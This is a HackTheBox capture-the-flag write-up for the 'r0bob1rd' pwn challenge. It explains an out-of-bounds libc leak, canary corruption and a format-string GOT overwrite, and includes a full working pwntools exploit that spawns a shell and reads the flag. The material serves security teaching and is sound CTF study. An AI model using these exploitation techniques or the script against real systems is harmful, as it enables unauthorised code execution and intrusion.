r0bob1rd
hackthebox
A "robotic bird game" binary that presents a table of 10 bird names, lets you select one by ID, enter a description, and displays it. The binary has three chained vulnerabilities: an out-of-bounds array read for libc leak, an off-by-two buffer overflow that corrupts the stack canary, and a format st
$ ls tags/ techniques/
r0bob1rd — HackTheBox
Description
A "robotic bird game" binary that presents a table of 10 bird names, lets you select one by ID, enter a description, and displays it. The binary has three chained vulnerabilities: an out-of-bounds array read for libc leak, an off-by-two buffer overflow that corrupts the stack canary, and a format string bug for arbitrary GOT writes.
Remote: nc 154.57.164.77:32657
Files
r0bob1rd— ELF 64-bit LSB executable, x86-64, dynamically linked, not strippedglibc/libc.so.6— GLIBC 2.31-0ubuntu9.9 (Ubuntu 20.04)glibc/ld.so.2— Dynamic linker
Analysis
Binary Properties
| Property | Value |
|---|---|
| Arch | x86-64 |
| RELRO | Partial (GOT writable) |
| Stack Canary | Enabled |
| NX | Enabled |
| PIE | Disabled (base 0x400000) |
| Stripped | No |
| Libc | GLIBC 2.31-0ubuntu9.9 |
Key Addresses
| Symbol | Address |
|---|---|
robobirdNames (array) | 0x6020a0 |
puts@GOT | 0x602020 |
__stack_chk_fail@GOT | 0x602028 |
printf@GOT | 0x602030 |
main | 0x400c0f |
operation | 0x400aca |
pop rdi; ret | 0x400cc3 |
ret | 0x40074e |
Program Flow
- Prints a banner and a table of 10 bird names (IDs 0–9)
- Prompts
"Select a R0bob1rd >"— reads an integer viascanf("%d") - Valid ID (0–9): dereferences
robobirdNames[id]pointer and prints the bird name withprintf("%s", *ptr) - Out-of-range ID: passes the ADDRESS
&robobirdNames[id]directly toprintf("%s", addr)— reads raw bytes at that computed address as a string - Calls
getchar()to consume the newline - Prompts
"Enter bird's little description"and reads input withfgets(buf, 0x6a, stdin)— 106 bytes max into a buffer atrbp-0x70 - Prints
"Crafting..", sleeps 2 seconds, prints a bird animation, prints"[Description]" - Calls
printf(buf)— FORMAT STRING VULNERABILITY with user-controlled input - Checks stack canary — if corrupted, calls
__stack_chk_fail leave; ret
Vulnerability 1: OOB Array Read (Libc Leak)
robobirdNames is an array of 10 char* pointers at 0x6020a0. When bird_id is outside 0–9, the code computes &robobirdNames[bird_id] and passes this address (not the dereferenced pointer) to printf("%s", ...).
With bird_id = -16:
address = 0x6020a0 + (-16) * 8 = 0x602020 = puts@GOT
printf reads the bytes at puts@GOT as a string, leaking the libc address of puts. From the leak:
libc_base = leaked_puts - 0x84420
Vulnerability 2: Off-by-Two Buffer Overflow (Canary Corruption)
Buffer: rbp-0x70 (112 bytes from rbp)
Canary: rbp-0x08 (8 bytes)
Gap: 0x70 - 0x08 = 0x68 = 104 bytes
fgets: reads up to 0x6a = 106 bytes (105 chars + null)
Sending 104 bytes + newline: fgets stores 104 bytes + '\n' at buf[104] + '\0' at buf[105]. buf[104] is the first byte of the canary — overwritten with 0x0a (newline), corrupting it. This guarantees __stack_chk_fail will be called.
Vulnerability 3: Format String Bug (Arbitrary Write)
printf(buf) at 0x400bf3 uses user input directly as the format string. The buffer starts at printf argument offset 8 (verified by sending %p patterns). Full %n/%hn/%hhn write capability to any address. Since Partial RELRO leaves the GOT writable, we can overwrite GOT entries.
Solution
Strategy: 2-Pass GOT Overwrite
The exploit chains all three vulnerabilities in two passes through the operation() function:
Pass 1: Leak libc + overwrite printf@GOT → system() and __stack_chk_fail@GOT → operation()
Pass 2: Send "sh" as description → printf("sh") becomes system("sh") → SHELL
Pass 1: Leak + GOT Overwrite
- Send
bird_id = -16to leakputs@GOT→ computelibc_base→ computesystem()address - Craft a 104-byte format string payload that performs 4 ×
%hnwrites:- Overwrite
printf@GOT(0x602030) withsystem()address (3 ×%hnfor 6 bytes: low, mid, high) - Overwrite
__stack_chk_fail@GOT(0x602028) withoperation()address (1 ×%hn, low 2 bytes only — both are in0x400000range)
- Overwrite
- The 104-byte payload + newline corrupts the canary → triggers
__stack_chk_fail __stack_chk_fail@GOTnow points tooperation()→ program loops back (skippingprintRobobirdswhich would callprintf/systemwith garbage)
Pass 2: Trigger Shell
- Now ALL
printf()calls are actuallysystem()calls - The program calls
system("Select a R0bob1rd > "),system("\nYou've chosen: %s"), etc. — these fail with shell syntax errors but don't consume stdin - Send
"sh"as the bird description - When the program reaches
printf(buf), it actually callssystem("sh")→ SHELL!
Format String Payload Layout
[format specifiers (72 bytes)] [addresses (4 × 8 = 32 bytes)]
|<------------ 104 bytes total ------------>|
The 4 %hn writes are sorted by value (ascending) to minimize padding:
%{val1}c%{param1}$hn%{val2-val1}c%{param2}$hn%{val3-val2}c%{param3}$hn%{val4-val3}c%{param4}$hn
Each address is placed at the end of the 104-byte buffer, and the %hn parameter index points to the corresponding 8-byte slot at offset 8 + (72/8 + i).
Key Insights
printf@GOT → systemis elegant becauseprintf(user_input)becomessystem(user_input)__stack_chk_fail → operation()instead ofmain()avoidsprintRobobirds()which would callprintf(nowsystem) 10 times with table formatting characters- The ~60KB of format string output (from
%Ncpadding) must be drained to prevent the program from blocking onwrite() system()with/bin/sh -cdoesn't read from stdin for syntax errors, so the intermediatesystem()calls with garbage strings just return without consuming our input
Exploit
#!/usr/bin/env python3 """ r0bob1rd - HackTheBox PWN Challenge Exploit ============================================ Pass 1: Leak libc via OOB + overwrite printf@GOT→system, __stack_chk_fail@GOT→operation Pass 2: system("sh") via hijacked printf """ from pwn import * import sys, time HOST = "154.57.164.77" PORT = 32657 LOCAL = "--local" in sys.argv context.arch = "amd64" context.log_level = "debug" if "--debug" in sys.argv else "info" elf = ELF("./r0bob1rd") libc = ELF("./glibc/libc.so.6") PRINTF_GOT = elf.got["printf"] STACK_CHK_FAIL_GOT = elf.got["__stack_chk_fail"] OPERATION_ADDR = elf.symbols["operation"] FMT_OFFSET = 8 def build_writes(writes, total_size=104): n = len(writes) addr_bytes = n * 8 fmt_space = total_size - addr_bytes indexed = sorted(enumerate(writes), key=lambda x: x[1][1]) param_for_sorted = [] for sort_pos, (orig_idx, (addr, val)) in enumerate(indexed): byte_offset = fmt_space + sort_pos * 8 param = FMT_OFFSET + byte_offset // 8 param_for_sorted.append((addr, val, param)) fmt = b"" printed = 0 for addr, val, param in param_for_sorted: needed = (val - printed) % 0x10000 if needed == 0: needed = 0x10000 fmt += f"%{needed}c%{param}$hn".encode() printed = (printed + needed) % 0x10000 if len(fmt) > fmt_space: log.error(f"Format too long: {len(fmt)} > {fmt_space}") return None log.info(f"Format: {len(fmt)}/{fmt_space} bytes") payload = fmt.ljust(fmt_space, b".") for addr, val, param in param_for_sorted: payload += p64(addr) assert len(payload) == total_size return payload def drain(p, timeout_sec=3): """Drain all available data with given timeout.""" total = 0 while True: try: chunk = p.recv(8192, timeout=timeout_sec) if not chunk: break total += len(chunk) except: break return total def exploit(): if LOCAL: p = process("./r0bob1rd") else: p = remote(HOST, PORT, timeout=30) # ================================================================ # PASS 1: Leak libc + GOT overwrite # ================================================================ log.info("=== PASS 1: Leak + GOT overwrite ===") p.recvuntil(b"R0bob1rd > ") p.sendline(b"-16") p.recvuntil(b"You've chosen: ") data = p.recvuntil(b"Enter bird") leak_bytes = data[: -len(b"\n\nEnter bird")] leaked_puts = u64(leak_bytes.ljust(8, b"\x00")) libc.address = leaked_puts - libc.symbols["puts"] log.success(f"libc @ {hex(libc.address)}") if libc.address & 0xFFF: log.error("Misaligned!") p.close() return system = libc.symbols["system"] log.info(f"system @ {hex(system)}") writes = [ (PRINTF_GOT, system & 0xFFFF), (PRINTF_GOT + 2, (system >> 16) & 0xFFFF), (PRINTF_GOT + 4, (system >> 32) & 0xFFFF), (STACK_CHK_FAIL_GOT, OPERATION_ADDR & 0xFFFF), ] payload = build_writes(writes, total_size=104) if payload is None: p.close() return p.recvuntil(b">> ") p.sendline(payload) log.info("Payload sent. Draining ~60KB of output...") n = drain(p, timeout_sec=3) log.info(f"Drained {n} bytes") # ================================================================ # PASS 2: Send inputs for shell # ================================================================ log.info("=== PASS 2: Trigger system('sh') ===") p.sendline(b"0") log.info("Sent bird_id '0'") try: p.recvuntil(b"description", timeout=5) log.info("Got description prompt") except: log.warning("Didn't see description prompt") time.sleep(0.3) p.sendline(b"sh") log.info("Sent 'sh'") # Drain usleep(2s) + start_screen output n2 = drain(p, timeout_sec=4) log.info(f"Drained {n2} bytes") # Shell should be active now! log.info("Shell active! Getting flag...") p.sendline(b"cat flag*") time.sleep(1) p.sendline(b"cat /flag*") time.sleep(1) try: output = p.recv(timeout=5) result = output.decode(errors="replace") log.success(f"Output:\n{result}") import re flags = re.findall(r"HTB\{[^}]+\}", result) if flags: log.success(f"FLAG: {flags[0]}") except: log.warning("Error receiving output") p.interactive() if __name__ == "__main__": exploit()
Key Indicators
Use this combination of techniques when you see:
printf(user_input)— classic format string vulnerability, enables arbitrary read/write via%n/%hn- Partial RELRO + No PIE — GOT is writable at fixed addresses, perfect for
printf@GOT → systemoverwrite - Array access without bounds checking — negative indices can reach GOT entries for libc leaks
fgetssize slightly larger than buffer-to-canary distance — off-by-one/two corrupts canary, forces__stack_chk_fail__stack_chk_failin GOT — can be redirected to loop the program instead of crashing, turning canary corruption into an advantage- Bundled libc — known offsets for
puts,system, etc.
Lessons Learned
-
Canary corruption as a feature, not a bug — Instead of trying to preserve the canary, deliberately corrupt it and hijack
__stack_chk_fail@GOTto redirect execution flow. The canary becomes a controlled jump. -
printf@GOT → systemis the classic GOT overwrite — When you control the first argument toprintf(format string), overwriting it withsystemgives yousystem(user_input)for free. -
operation()vsmain()for loop target — Redirecting__stack_chk_failtooperation()instead ofmain()avoids re-executingprintRobobirds(), which would call the now-hijackedprintf(=system) with garbage strings 10 times. -
Drain format string output — Large
%Ncpadding in format string writes generates ~60KB of output. If not drained, the program blocks onwrite()and never reaches the next input prompt. -
system()with invalid commands is harmless — Whenprintf@GOTis overwritten withsystem, intermediate calls likesystem("Select a R0bob1rd > ")fail with shell syntax errors but don't consume stdin, so subsequent input still reaches the right place. -
OOB array indexing for GOT leaks — When an array of pointers is near the GOT and the binary passes
&array[id](not*array[id]) toprintf("%s")for OOB indices, you can read GOT entries as raw bytes. The offset calculation:id = (GOT_addr - array_addr) / sizeof(pointer).
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [pwn][free]Restaurant— hackthebox
- [pwn][free]Portaloo— hackthebox
- [pwn][free]Void— hackthebox
- [pwn][free]Regularity— hackthebox
- [pwn][free]Evil Corp— hackthebox